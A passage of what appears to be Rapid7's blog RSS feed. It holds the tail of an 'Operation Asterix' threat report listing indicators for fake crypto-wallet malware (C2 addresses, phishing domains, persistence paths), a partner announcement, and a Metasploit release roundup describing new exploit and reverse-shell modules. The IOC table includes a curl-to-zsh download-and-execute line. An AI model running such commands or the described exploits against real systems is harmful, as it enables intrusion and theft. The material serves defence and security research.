style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>com.electron.trezor-suite</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'> / 1.0.0 (legitimate Suite is 24.x)</span></p></td></tr></tbody></table><h3>MacOS persistence</h3><pre language="html">~/Library/LaunchAgents/com.ledger.live.agent.plist
~/Library/LaunchAgents/com.exodusmovement.agent.plist
~/Library/LaunchAgents/io.trezor.agent.plist
~/Library/Application Support/.SystemData/.framework/.apps/</pre><h3>Email infrastructure</h3><pre language="html">smtpdm-ap-southeast-1[.]aliyun[.]com:465
ses-noreply[.]com</pre><h3>Network IOCs</h3><table><colgroup data-width='772'><col style="width:40.5440414507772%"/><col style="width:59.4559585492228%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>Type</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>Indicator</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Kraken checker C2</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>http://136.0.213.184:1337/api/kraken-numio</span></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Exfil (all Trezor builds)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>api.telegram.org</span></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>IP lookup (victim geolocation)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>api.ipify.org</span></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Compromised site (possible)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>https://atechservicecentre.co.uk/</span></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Old build local listener</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>127.0.0.1:54322</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Phishing page</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>macos-claude[.]com</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Phishing page</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>ledger[.]com[.]lv</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Phishing page</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>ledgerhelp[.]com</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Beacon</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'> xcjnrucne9xfvmci[.]com</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Phishing page</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'> 36mcrypto[.]com</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Malicious Download Endpoint</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>curl -sfSL </span><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>http://redacted:8080/install.sh</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'> | zsh</span></p></td></tr></tbody></table><h3>File names</h3><table><colgroup data-width='701'><col style="width:44.36519258202568%"/><col style="width:55.63480741797432%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>Filename</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>Notes</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>LedgerLiveSetup.exe</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Windows Ledger build</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>LedgerLive-macOS-Clean.zip</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>macOS Ledger build (pre-obfuscation)</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>LedgerLive.dmg</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>macOS Ledger build</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Ledger.zip</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Ledger kit archive</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>extract_sg_numbers.py</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Singapore phone extraction script</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>start_sg_panel.sh</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Panel launcher</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>sg_leads_server.py</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Leads server</span></p></td></tr></tbody></table><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The attackers malicious prompt and other text files can be found on our </span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Operation%20Asterix" target="_blank"><span style='color:rgb(60, 64, 67);font-size: undefined;'>GitHub</span></a><span style='color:rgb(60, 64, 67);font-size: undefined;'>.</span></p><h2><span style='font-size: undefined;'>Rapid7 customers</span></h2><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Rapid7 Intelligence Hub customers are automatically protected against the infrastructure, payloads, and campaign activity identified in Operation ASTERIX. Automated IOC & Threat Feed Ingestion: All Indicators of Compromise (IOCs) recovered during this investigation including threat actor C2 IP addresses, malicious domains, Telegram exfiltration endpoints, and file hashes for fake wallet applications have been ingested and tagged within the Hub.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-operation-asterix-crypto-fraud-vishing-phishing</link>
      <guid isPermaLink="false">bltaa2a3fb749678dcb</guid>
      <category><![CDATA[Phishing]]></category>
      <category><![CDATA[Artificial Intelligence]]></category><dc:creator><![CDATA[Anna Širokova]]></dc:creator>
      <pubDate>Mon, 17 Aug 2026 11:29:31 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83e3180716d766f0/69b180eb669f1ce1a02fe1aa/Purple-teaming-in-2026-hero.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Africa’s Cybersecurity Challenge Is Bigger Than Access to Technology]]></title>
      <description><![CDATA[<p><span style='font-size: undefined;'><em>Gopan Sivasankaran is Rapid7's Regional Director, Middle East & Africa.</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Across Egypt, Nigeria, and Kenya, organizations are expanding their use of cloud infrastructure, artificial intelligence, digital services, and connected operations. But more technology does not automatically create stronger security operations; many security teams are not short on data, but rather on time, context, and specialist capacity.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As environments expand, the challenge is no longer finding another security product. It is turning existing technology and new investments into clearer risk decisions, faster investigations, and more consistent response, which requires more than software.</span></p><h2 style="direction: ltr;">Rapid7 and StarLink: From access to operational capability</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Africa has been an important region for Rapid7 for many years, and we’re proud of the role we’ve played in protecting organizations across the continent. We see significant opportunity ahead and remain committed to investing in our presence, partner ecosystem, and customer relationships across the region.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That continued investment is why Rapid7 is expanding its partnership with StarLink across Egypt, Nigeria, and Kenya.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Security teams are often managing data across endpoints, cloud environments, identities, and third-party systems. Adding another disconnected tool can increase workload rather than reduce it. Modern security operations require a more connected approach. Exposure data should help teams understand where risk exists. Detection should identify active threats. Response and automation should help teams act before an issue becomes a larger business incident.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>But even a well-designed platform needs skilled partners who can help customers deploy it, integrate it, and adapt it to local operational needs.</span></p><h2 style="direction: ltr;">Why regional partner capability matters</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Cybersecurity maturity varies by country, industry, and organization. A bank in Africa, a digital services provider in Kenya, a public-sector organization in Egypt, and an enterprise in Nigeria may share some security challenges, but they do not operate in identical environments. Partners provide the bridge between global technology and local customer reality.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Through this collaboration, Rapid7 and StarLink intend to give resellers, systems integrators, and managed security service providers access to technical enablement, solution expertise, and joint go-to-market support. The goal is to help partners build sustainable security practices, not simply complete individual product transactions.</span></p><h2 style="direction: ltr;">Connecting exposure, detection, and response</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7’s security operations approach brings exposure management, threat detection and response, managed services, and automation together. This can help teams connect two questions that are too often handled separately:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Where are we most exposed?</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Where are attackers active now?</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>When partners can help customers answer both questions using shared security context, they can support more informed prioritization, faster investigation, and clearer remediation decisions.</span></p><h2 style="direction: ltr;">Looking ahead</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Africa’s digital growth will continue to create new security demands. Meeting them will require technology, but also skills, services, local understanding, and long-term collaboration. Rapid7 and StarLink are working together to help build that capability across the region.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ready to build your security practice with Rapid7? Contact your Rapid7 or StarLink representative for upcoming training, technical enablement, and joint go-to-market opportunities, or explore the Rapid7 </span><a href="/partners/sales-partners/" target="_self"><span style='font-size: undefined;'>PACT Partner Program</span></a><span style='font-size: undefined;'>.</span></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/c-starlink-distribution-partnership-africa</link>
      <guid isPermaLink="false">blt59d6315ea5a71240</guid>
      <category><![CDATA[Cybersecurity]]></category><dc:creator><![CDATA[Gopan Sivasankaran]]></dc:creator>
      <pubDate>Mon, 17 Aug 2026 08:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3cc8c945f314ec1f/68b9a045a7d14357b3ba893b/blog-hero-texture-lines.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap Up: Lot of summer shells and fit http profiles]]></title>
      <description><![CDATA[<p><span style='font-size: undefined;'>This wrap-up brings a full-on shell parade. Thirteen shiny new modules landed, starting with a buffet of RCEs. WordPress WP2Shell, Ghost CMS, Joomla JCE, Langflow, OpenCATS, Pterodactyl Panel, SonicWall SMA1000, Ray Dashboard, a Pix-for-WooCommerce, and for those who like their exploits closer to the bare-metal, the Fragnesia Linux kernel LPE (CVE-2026-46300). Metasploit also got the glow-up of the summer with the new http malleable profiles, MCP functionality and linux multi fetch payloads (more details on the [official 6.5 release blog post](https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released/)!). Windows on ARM confirm to be the new first-class citizenship thanks to brand-new AArch64 reverse-TCP shells (both inline and staged), so your Snapdragon boxes can join the party too. Last but not least, an important message: *Nyan Nyan Nyan Nyan Nyan Nyan.*</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbd399d6607894627/6a7f892eb966e182b964118a/Screenshot_2026-08-14_162940.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot_2026-08-14_162940.png" asset-alt="Screenshot_2026-08-14_162940.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbd399d6607894627/6a7f892eb966e182b964118a/Screenshot_2026-08-14_162940.png" data-sys-asset-uid="bltbd399d6607894627" data-sys-asset-filename="Screenshot_2026-08-14_162940.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot_2026-08-14_162940.png" sys-style-type="display"/></figure><p></p><h2><span style='font-size: undefined;'>New module content (13)</span></h2><h3><span style='font-size: undefined;'>Ray Dashboard Logs API Path Traversal</span></h3><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Author: Richard Howe &lt;rhowe425&gt;</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Type: Auxiliary</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Pull request: </span><a href="https://github.com/rapid7/metasploit-framework/pull/21681" target="_self"><span style='font-size: undefined;'>#21681</span></a><span style='font-size: undefined;'> contributed by </span><a href="https://github.com/rmhowe425" target="_self"><span style='font-size: undefined;'>rmhowe425</span></a></p><p style="direction: ltr;"><span style='font-size: undefined;'>Path: `gather/ray_dashboard_logs_api_path_traversal`</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Description: This adds an auxiliary module that leverages a path traversal vulnerability in Ray to list the contents of local directories. There is currently no CVE assigned to this vulnerability. Issuance is pending with MITRE.</span></p><p><span style='font-size: undefined;'></span></p><h3><span style='font-size: undefined;'> Pterodactyl Panel CVE-2025-49132 Remote Code Execution</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Authors: 0xtensho and jheysel-r7</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Type: Exploit</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Pull request: </span><a href="https://github.com/rapid7/metasploit-framework/pull/21452" target="_self"><span style='font-size: undefined;'>#21452</span></a><span style='font-size: undefined;'> contributed by </span><a href="https://github.com/jheysel-r7" target="_self"><span style='font-size: undefined;'>jheysel-r7</span></a></p><p style="direction: ltr;"><span style='font-size: undefined;'>Path: `linux/http/pterodactyl_locales_locale_json`</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>AttackerKB reference: </span><a href="https://attackerkb.com/search?q=CVE-2025-49132&amp;referrer=blog" target="_self"><span style='font-size: undefined;'>CVE-2025-49132</span></a></p><p style="direction: ltr;"><span style='font-size: undefined;'>Description: This adds a module which exploits a vulnerability in Pterodactyl Panel before version 1.11.11 that allows unauthenticated remote code execution through improper handling of locale file operations. The vulnerability, CVE-2025-49132, exists in the locale.json endpoint which allows path traversal and arbitrary file creation. This combination of capabilities results in remote code execution in the context of the user running the web server.</span></p><h3><span style='font-size: undefined;'>SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Authors: Deral Heiland, Rapid7 Vulnerability Research, and Ryan Emmons</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Type: Exploit</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Pull request: #</span><a href="https://github.com/rapid7/metasploit-framework/pull/21678" target="_self"><span style='font-size: undefined;'>21678</span></a><span style='font-size: undefined;'> contributed by dheiland-r7(https://github.com/dheiland-r7)</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Path: `linux/http/sonicwall_sma1000_wsproxy_rce`</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>AttackerKB reference:</span><a href="https://attackerkb.com/search?q=CVE-2026-15409&amp;referrer=blog" target="_self"><span style='font-size: undefined;'> CVE-2026-15409</span></a><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Description: This adds a new exploit module for CVE-2026-15409, a Server-Side Request Forgery (SSRF) vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service.</span></p><h3>Fragnesia LPE (CVE-2026-46300)</h3><p>Authors: William Bowling and msutovsky-r7</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21456">#21456</a> contributed by <a href="https://github.com/msutovsky-r7">msutovsky-r7</a></p><p>Path: linux/local/cve_2026_46300_fragnesia</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-46300&amp;referrer=blog">CVE-2026-46300</a></p><p>Description: This adds a local module for the Fragnesia exploit which is a page-cache replacement vulnerability in the Linux kernel's XFRM (IPsec) subsystem, tracked as CVE-2026-46300.</p><h3>Ghost CMS Remote Code Execution</h3><p>Authors: Cristian-Alexandru Staicu and Maksim Rogov</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21234">#21234</a> contributed by <a href="https://github.com/vognik">vognik</a></p><p>Path: multi/http/ghostcms_auth_rce_cve_2026_29053</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-22594&amp;referrer=blog">CVE-2026-22594</a></p><p>Description: This adds an exploit module for Ghost CMS (CVE-2026-29053) that achieves remote code execution by uploading a malicious theme. Ghost's theme renderer evaluates untrusted JSONPath expressions through the {{#get}} helper, letting the module inject and trigger arbitrary code once a theme is uploaded and activated. You'll need valid admin or staff credentials to authenticate.</p><h3>Joomla Content Editor Unauthenticated File Upload RCE</h3><p>Authors: David Jardin, Uwe Flottemesch, and ispyispyispy</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21615">#21615</a> contributed by <a href="https://github.com/15py15py15py">15py15py15py</a></p><p>Path: multi/http/joomla_com_jce_unauth_file_upload_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-48907&amp;referrer=blog">CVE-2026-48907</a></p><p>Description: This adds a new exploit module for CVE-2026-48907, an unauthenticated arbitrary profile creation vulnerability in the JCE (Joomla Content Editor) extension for Joomla!. The profiles.import task fails to enforce authentication, letting an attacker import a crafted profile that is written to disk as a PHP web shell, resulting in remote code execution when the tmp/ directory is directly accessible. All JCE versions up to and including 2.9.99.4 are affected, and no credentials are required.</p><h3>Langflow Unauth RCE</h3><p>Authors: Diamorphine and Richard Howe</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21700">#21700</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: multi/http/langflow_unauth_rce_cve_2026_33017</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-33017&amp;referrer=blog">CVE-2026-33017</a></p><p>Description: Adds a new multi/http/langflow_unauth_rce_cve_2026_33017 exploit module that exploits an unauth RCE vulnerability in the /api/v1/build_public_tmp/{flow_id}/flow endpoint in Langflow versions prior to 1.9.0.</p><h3>OpenCATS Installer PHP Code Injection</h3><p>Authors: Chocapikk and stlthr4k3r</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21630">#21630</a> contributed by <a href="https://github.com/stlthr4k3r">stlthr4k3r</a></p><p>Path: multi/http/opencats_installer_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-27760&amp;referrer=blog">CVE-2026-27760</a></p><p>Description: Adds an exploit module targeting CVE-2026-27760, a PHP code injection in OpenCATS.</p><h3>WordPress WP2Shell REST API Batch Route Confusion SQLi to RCE</h3><p>Authors: Adam Kues, Crypto-Cat, TF1T, dtro, and haongo</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21686">#21686</a> contributed by <a href="https://github.com/Crypto-Cat">Crypto-Cat</a></p><p>Path: multi/http/wp_batch_desync_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-60137&amp;referrer=blog">CVE-2026-60137</a></p><p>Description: This adds an exploit module to target WP2Shell, an unauthenticated pre-auth remote code execution vulnerability affecting WordPress core versions 6.9.0–6.9.4 and 7.0.0–7.0.1. The module chains a REST API route confusion flaw (CVE-2026-63030) with an SQL injection (CVE-2026-60137) to elevate privileges, deploy a payload via a custom plugin, and execute a remote session.</p><h3>WordPress Unauthenticated RCE via Pix for WooCommerce plugin</h3><p>Authors: Alexis Lafontaine and Maksim Rogov</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21683">#21683</a> contributed by <a href="https://github.com/vognik">vognik</a></p><p>Path: multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-3891&amp;referrer=blog">CVE-2026-3891</a></p><p>Description: Adds CVE-2026-3891 WordPress Unauthenticated RCE Exploit module targeting Pix for WooCommerce plugin.</p><h3>Release Metasploit 6.5</h3><p>Authors: OJ Reeves, Spencer McIntyre</p><p>Type: Payload (Single) Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21728">#21728</a> contributed by <a href="https://github.com/zeroSteiner">zeroSteiner</a></p><p>Description: Adds support for a new MALLEABLEC2 option to Meterpreter HTTP(S) payloads. This feature enables users to load a standard profile into Meterpreter and change the shape of its HTTP(S) traffic. All Meterpreters, including Windows, Java, Python, PHP and Linux, have been updated with this functionality.</p><h3>Windows AArch64 Command Shell, Reverse TCP Inline</h3><p>Author: vinicius-batistella</p><p>Type: Payload (Single)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21589">#21589</a> contributed by <a href="https://github.com/vinicius-batistella">vinicius-batistella</a></p><p>Path: windows/aarch64/shell_reverse_tcp</p><p>Description: Adds Windows on ARM (AArch64) reverse-TCP command-shell payload.</p><h3>Windows AArch64 Command Shell, Windows AArch64 Reverse TCP Stager</h3><p>Author: vinicius-batistella</p><p>Type: Payload (Stager)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21744">#21744</a> contributed by <a href="https://github.com/vinicius-batistella">vinicius-batistella</a></p><p>Path: windows/aarch64/shell/reverse_tcp</p><p>Description: Adds Windows AARCH64 staged shell payloads.</p><h2>Enhancements and features (15)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21379">#21379</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - This improves the FTP login scanner by extending the reporting logic and adding extra checks</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21575">#21575</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Improves scanner/ftp/ftp_version to now report the service if host is up but we don't get an appropriate FTP banner</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21578">#21578</a> from <a href="https://github.com/arpan-pramanik">arpan-pramanik</a> - Fixes a bug where msfconsole crashes with an unhandled exception when attempting to exit if the msf database is missing</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21607">#21607</a> from <a href="https://github.com/Pushpenderrathore">Pushpenderrathore</a> - This extends CertificateTrace peer cert tracing to support LDAP over TLS and RDP</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21608">#21608</a> from <a href="https://github.com/Pushpenderrathore">Pushpenderrathore</a> - This adds CertificateTrace peer cert tracing to PostgreSQL over TLS, and fixes a long-standing gap where the Postgres mixin accepted an SSL datastore option but never passed it through to the underlying connection</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21622">#21622</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Adds Bearer Authentication to the MCP server plugin</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21638">#21638</a> from <a href="https://github.com/eve0805">eve0805</a> - This reuses the existing Kerberos ticket trace formatting for offline Kerberos artifact workflows, so stored and converted tickets can be inspected with the same output style used during live Kerberos authentication</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21653">#21653</a> from <a href="https://github.com/cdelafuente-r7">cdelafuente-r7</a> - This adds job tracking via run_uuid across all module types when executed through RPC endpoints to support Model Context Protocol (MCP) tool integrations</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21654">#21654</a> from <a href="https://github.com/cdelafuente-r7">cdelafuente-r7</a> - Adds eight new MCP tools: that wrap the existing RPC endpoints for module and session control, backed by strict per-tool input validation with an opt-in flag for dangerous actions</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21667">#21667</a> from <a href="https://github.com/jburgess-r7">jburgess-r7</a> - This updates the gogs_rebase_rce module with the vulnerability's newly assigned CVE, CVE-2026-52806</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21691">#21691</a> from <a href="https://github.com/eve0805">eve0805</a> - This adds KerberosTicketTrace support to the auxiliary/admin/kerberos/forge_ticket module</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21697">#21697</a> from <a href="https://github.com/bwatters-r7">bwatters-r7</a> - Adds explicit endianness to fetch multi payload query strings and encodes the fetch command in base64 for Python 3.8+ environments</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21728">#21728</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Adds support for a new MALLEABLEC2 option to Meterpreter HTTP(S) payloads</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21748">#21748</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Nyan Nyan Nyan Nyan Nyan Nyan!</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21768">#21768</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Updates the default authentication logic in the JSON RPC support to now require auth by default, either via the database with user credentials or an auth token</li></ul><h2>Bugs fixed (15)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21552">#21552</a> from <a href="https://github.com/stzifkas">stzifkas</a> - Fix LHOST validation rejecting tunnel hostnames when DNS lookup fails</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21574">#21574</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Fixes the implementation of the FTP mixin to allow for reading multiple responses on the same TCP segment</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21609">#21609</a> from <a href="https://github.com/dwelch-r7">dwelch-r7</a> - Fixed an issue where payload option validation was delayed until after running show options, ensuring options like LHOST and LPORT are validated immediately upon setting a payload or loading a module</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21647">#21647</a> from <a href="https://github.com/jheysel-r7">jheysel-r7</a> - This updates the ntlm_relay_2_self module to automatically configure Resource-Based Constrained Delegation (RBCD) on the target machine account by setting its msDS-AllowedToActOnBehalfOfOtherIdentity attribute</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21659">#21659</a> from <a href="https://github.com/dwelch-r7">dwelch-r7</a> - This improves port conflict handling for the MCP plugin by adding pre-flight availability checks, post-spawn verification, and proper state resets on failure</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21661">#21661</a> from <a href="https://github.com/kx7m2qd">kx7m2qd</a> - Fixes an issue with Ctrl+C handling regarding the MCP plugin</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21663">#21663</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Updates the error handling in the auxiliary/admin/dcerpc/icpr_cert module</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21687">#21687</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - This updates and centralizes the warning message that's displayed when a user sets a datastore option that is not valid in the current context</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21699">#21699</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Fixes a FrozenError issue when the DNS feature was enabled, which occurred when attempting to mutate frozen strings in place during DNS queries</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21701">#21701</a> from <a href="https://github.com/cdelafuente-r7">cdelafuente-r7</a> - This fixes an issue where exploit error messages were captured by the job listener during execution but hidden from the console</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21711">#21711</a> from <a href="https://github.com/cdelafuente-r7">cdelafuente-r7</a> - This fixes a Ruby 3 keyword argument parsing issue in run_simple, exploit_simple, and check_simple where passing a braceless hash literal caused an ArgumentError</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21714">#21714</a> from <a href="https://github.com/l1ve709">l1ve709</a> - Fixes typos in various module docs</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21718">#21718</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Fixes a crash when attempting to run VNC sessions from Metasploit</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21722">#21722</a> from <a href="https://github.com/dwelch-r7">dwelch-r7</a> - Fixed a regression to now again allow 0.0.0.0 as a valid listener LHOST address</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21759">#21759</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a crash on multiple SMB modules when attempting to register an SMB service</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a> .</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is%3Apr+merged%3A%222026-07-15T15%3A48%3A48-07%3A00..2026-08-13T15%3A07%3A46%2B01%3A00%22">Pull Requests 6.4.144...6.5.2</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.144...6.5.2">Full diff 6.4.144...6.5.2</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a 